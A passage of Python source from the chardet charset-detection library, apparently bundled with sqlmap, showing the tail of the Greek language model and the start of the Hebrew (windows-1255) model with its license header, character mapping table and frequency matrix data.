2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0, 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,2,3,3,0, 2,0,1,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,3,0,0,0,0,3,3,0,3,1,3,3,3,0,3,3,0,3,3,3,3,0,0,0,0, 2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,0,3,0,3,3,3,3,3,0,3,2,2,2,3,0,2,3,3,3,3,3,2,3,3,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,3,2,2,2,3,3,3,3,0,3,1,3,3,3,3,2,3,3,3,3,3,3,3,2,2,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,3,0,0,0,3,3,2,3,3,3,3,3,0,0,3,2,3,0,2,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,3,0,0,3,3,0,2,3,0,3,0,3,3,3,0,0,3,0,3,0,2,2,3,3,0,0, 0,0,1,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,3,2,3,3,3,3,0,3,3,3,3,3,0,3,3,2,3,2,3,3,2,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,2,3,2,3,3,3,3,3,3,0,2,3,2,3,2,2,2,3,2,3,3,2,3,0,2,2,2,3,0, 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,0,3,3,3,2,3,3,0,0,3,0,3,0,0,0,3,2,0,3,0,3,0,0,2,0,2,0, 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,0,0,0,3,3,0,3,3,3,0,0,1,2,3,0, 3,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,2,0,0,3,2,2,3,3,0,3,3,3,3,3,2,1,3,0,3,2,3,3,2,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,3,0,2,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,3,0,3,2,3,0,0,3,3,3,0, 3,0,0,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,0,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,2,0,3,2,3,0,0,3,2,3,0, 2,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,1,2,2,3,3,3,3,3,3,0,2,3,0,3,0,0,0,3,3,0,3,0,2,0,0,2,3,1,0, 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,3,0,3,0,3,3,2,3,0,3,3,3,3,3,3,0,3,3,3,0,2,3,0,0,3,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,0,0,3,0,0,0,3,3,0,3,0,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,0,3,3,3,3,3,3,0,0,3,0,2,0,0,0,3,3,0,3,0,3,0,0,2,0,2,0, 0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,3,0,3,0,2,0,3,2,0,3,2,3,2,3,0,0,3,2,3,2,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,2,3,3,3,3,3,0,0,0,3,0,2,1,0,0,3,2,2,2,0,3,0,0,2,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,2,0,3,0,3,0,3,3,0,2,1,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,3,0,3,3,3,3,3,3,0,2,3,0,3,0,0,0,2,1,0,2,2,3,0,0,2,2,2,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,0,0,2,3,3,3,2,3,0,0,1,3,0,2,0,0,0,0,3,0,1,0,2,0,0,1,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,1,0,3,0,0,0,3,2,0,3,2,3,3,3,0,0,3,0,3,2,2,2,1,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,3,3,3,0,0,3,0,0,0,0,2,0,2,3,3,2,2,2,2,3,0,2,0,2,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,2,0,0,0,0,0,0,2,3,0,2,0,2,3,2,0,0,3,0,3,0,3,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,3,2,3,3,2,2,3,0,2,0,3,0,0,0,2,0,0,0,0,1,2,0,2,0,2,0, 0,2,0,2,0,2,2,0,0,1,0,2,2,2,0,2,2,2,0,2,2,2,0,0,2,0,0,1,0,0,0,0, 0,2,0,3,3,2,0,0,0,0,0,0,1,3,0,2,0,2,2,2,0,0,2,0,3,0,0,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,0,2,3,2,0,2,2,0,2,0,2,2,0,2,0,2,2,2,0,0,0,0,0,0,2,3,0,0,0,2, 0,1,2,0,0,0,0,2,2,0,0,0,2,1,0,2,2,0,0,0,0,0,0,1,0,2,0,0,0,0,0,0, 0,0,2,1,0,2,3,2,2,3,2,3,2,0,0,3,3,3,0,0,3,2,0,0,0,1,1,0,2,0,2,2, 0,2,0,2,0,2,2,0,0,2,0,2,2,2,0,2,2,2,2,0,0,2,0,0,0,2,0,1,0,0,0,0, 0,3,0,3,3,2,2,0,3,0,0,0,2,2,0,2,2,2,1,2,0,0,1,2,2,0,0,3,0,0,0,2, 0,1,2,0,0,0,1,2,0,0,0,0,0,0,0,2,2,0,1,0,0,2,0,0,0,2,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,3,3,2,2,0,0,0,2,0,2,3,3,0,2,0,0,0,0,0,0,2,2,2,0,2,2,0,2,0,2, 0,2,2,0,0,2,2,2,2,1,0,0,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0, 0,2,0,3,2,3,0,0,0,3,0,0,2,2,0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,0,2, 0,0,2,2,0,0,2,2,2,0,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,3,2,0,2,2,2,2,2,0,0,0,2,0,0,0,0,2,0,1,0,0,2,0,1,0,0,0, 0,2,2,2,0,2,2,0,1,2,0,2,2,2,0,2,2,2,2,1,2,2,0,0,2,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,2,0,2,0,2,2,0,0,0,0,1,2,1,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,3,2,3,0,0,2,0,0,0,2,2,0,2,0,0,0,1,0,0,2,0,2,0,2,2,0,0,0,0, 0,0,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0, 0,2,2,3,2,2,0,0,0,0,0,0,1,3,0,2,0,2,2,0,0,0,1,0,2,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,0,2,0,3,2,0,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,2,0,0,0,0,1,1,0,0,2,1,2,0,2,2,0,1,0,0,1,0,0,0,2,0,0,0,0,0,0, 0,3,0,2,2,2,0,0,2,0,0,0,2,0,0,0,2,3,0,2,0,0,0,0,0,0,2,2,0,0,0,2, 0,1,2,0,0,0,1,2,2,1,0,0,0,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,1,2,0,2,2,0,2,0,0,2,0,0,0,0,1,2,1,0,2,1,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,0,3,1,2,2,0,2,0,0,0,0,2,0,0,0,2,0,0,3,0,0,0,0,2,2,2,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,1,0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,2, 0,2,2,0,0,2,2,2,2,2,0,1,2,0,0,0,2,2,0,1,0,2,0,0,2,2,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,0,2, 0,1,2,0,0,0,0,2,2,1,0,1,0,1,0,2,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,0,0,0,0,1,0,0,0,0,0,0,2, 0,2,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0, 0,2,2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,1, 0,0,2,0,0,0,0,1,2,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,2,2,2,0,0,0,2,0,0,0,0,0,0,0,0,2, 0,0,1,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,3,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,2, 0,0,2,0,0,0,0,2,2,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,2,0,2,2,1,0,0,0,0,0,0,2,0,0,2,0,2,2,2,0,0,0,0,0,0,2,0,0,0,0,2, 0,0,2,0,0,2,0,2,2,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0, 0,0,3,0,0,0,2,2,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0, 0,2,2,2,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, 0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,2,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,2,0,0,0, 0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,2,0,2,0,0,0, 0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,1,2,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) Latin7GreekModel = { 'charToOrderMap': Latin7_CharToOrderMap, 'precedenceMatrix': GreekLangModel, 'mTypicalPositiveRatio': 0.982851, 'keepEnglishLetter': False, 'charsetName': "ISO-8859-7" } Win1253GreekModel = { 'charToOrderMap': win1253_CharToOrderMap, 'precedenceMatrix': GreekLangModel, 'mTypicalPositiveRatio': 0.982851, 'keepEnglishLetter': False, 'charsetName': "windows-1253" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langhebrewmodel.py000066400000000000000000000260661326012263700223440ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Simon Montagu # Portions created by the Initial Developer are Copyright (C) 2005 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Shoshannah Forbes - original C code (?) # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Windows-1255 language model # Character Mapping Table: win1255_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85, # 40 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253, # 50 253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49, # 60 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253, # 70 124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214, 215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221, 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227, 106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234, 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237, 238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250, 9, 8, 20, 16, 3, 2, 24, 14, 22, 1, 25, 15, 4, 11, 6, 23, 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 98.4004% # first 1024 sequences: 1.5981% # rest sequences: 0.087% # negative sequences: 0.0015% HebrewLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, 3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, 1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2, 1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3, 1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2, 1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2, 1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2, 0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2, 0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2, 1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2, 0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1, 0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0, 0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2, 0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2, 0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2, 0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2, 0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1, 0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2, 0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2, 0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2, 0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2, 0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0, 1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2, 0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3, 0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0, 0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, 0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0, 2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0, 0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1, 